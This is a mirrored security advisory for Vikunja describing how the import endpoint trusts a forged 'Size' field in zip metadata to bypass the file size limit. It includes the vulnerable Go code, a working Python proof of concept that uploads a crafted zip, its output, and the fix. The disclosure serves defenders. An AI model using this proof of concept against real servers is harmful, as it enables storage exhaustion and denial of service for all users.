Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 272/272 feeds/APIs · 469/469 docs · 8/9 advisories · checked 29 Oct 23:58 UTC Customize Public modeDiscuss ChangeIntel on Discord

Vikunja has File Size Limit Bypass via Vikunja Import

Exact source revision recorded 24 Oct 2026 13:19:41 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-qh78-rvg3-cv54

Published

## Summary The Vikunja file import endpoint uses the attacker-controlled `Size` field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting `Size` to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit. ## Details During import, the JSON metadata from `data.json` inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at `pkg/modules/migration/create_from_structure.go:406` passes the attacker-controlled `File.Size` from the JSON: ```go err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user) ``` The file size enforcement check at `pkg/files/files.go:118` then evaluates this attacker-controlled value: ```go if realsize > config.GetMaxFileSizeInMBytes()*uint64(datasize.MB) && checkFileSizeLimit { ``` With `Size` set to 0 in the JSON, the comparison `0 > 20MB` evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the `readZipEntry` limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data. ## Proof of Concept Tested on Vikunja v2.2.2 with default `max_file_size: 20MB`. ```python import zipfile, io, json, requests TARGET = "http://localhost:3456" token = requests.post(f"{TARGET}/api/v1/login", json={"username": "user1", "password": "User1pass!"}).json()["token"] h = {"Authorization": f"Bearer {token}"} # Craft zip with forged Size=0 in JSON but 25MB actual content large_content = b"A" * (25 * 1024 * 1024) # 25MB data = [{"title": "Project", "tasks": [{"title": "Task", "attachments": [{ "file": {"name": "large.bin", "size": 0, "created": "2026-01-01T00:00:00Z"}, "created": "2026-01-01T00:00:00Z"}]}]}] zip_buf = io.BytesIO() with zipfile.ZipFile(zip_buf, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr("VERSION", "2.2.2") zf.writestr("data.json", json.dumps(data)) zf.writestr("large.bin", large_content) resp = requests.put(f"{TARGET}/api/v1/migration/vikunja-file/migrate", headers=h, files={"import": ("export.zip", zip_buf.getvalue(), "application/zip")}) ``` Output: ``` HTTP 200: {"message": "Everything was migrated successfully."} 25MB file stored despite 20MB server limit. ``` ## Impact An authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server's disk, causing denial of service for all users. No per-user storage quota exists to contain the impact. ## Recommended Fix Use the actual content length instead of the attacker-controlled `Size` field: ```go err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user) ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*

Source published
10 Apr 2026 15:35:18 UTC
Source modified
25 Jun 2026 23:11:09 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Publisher rating · MODERATE

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 29 Oct 23:58 UTC · 272 of 272 readable · 271 fully read · documentation 469/469 current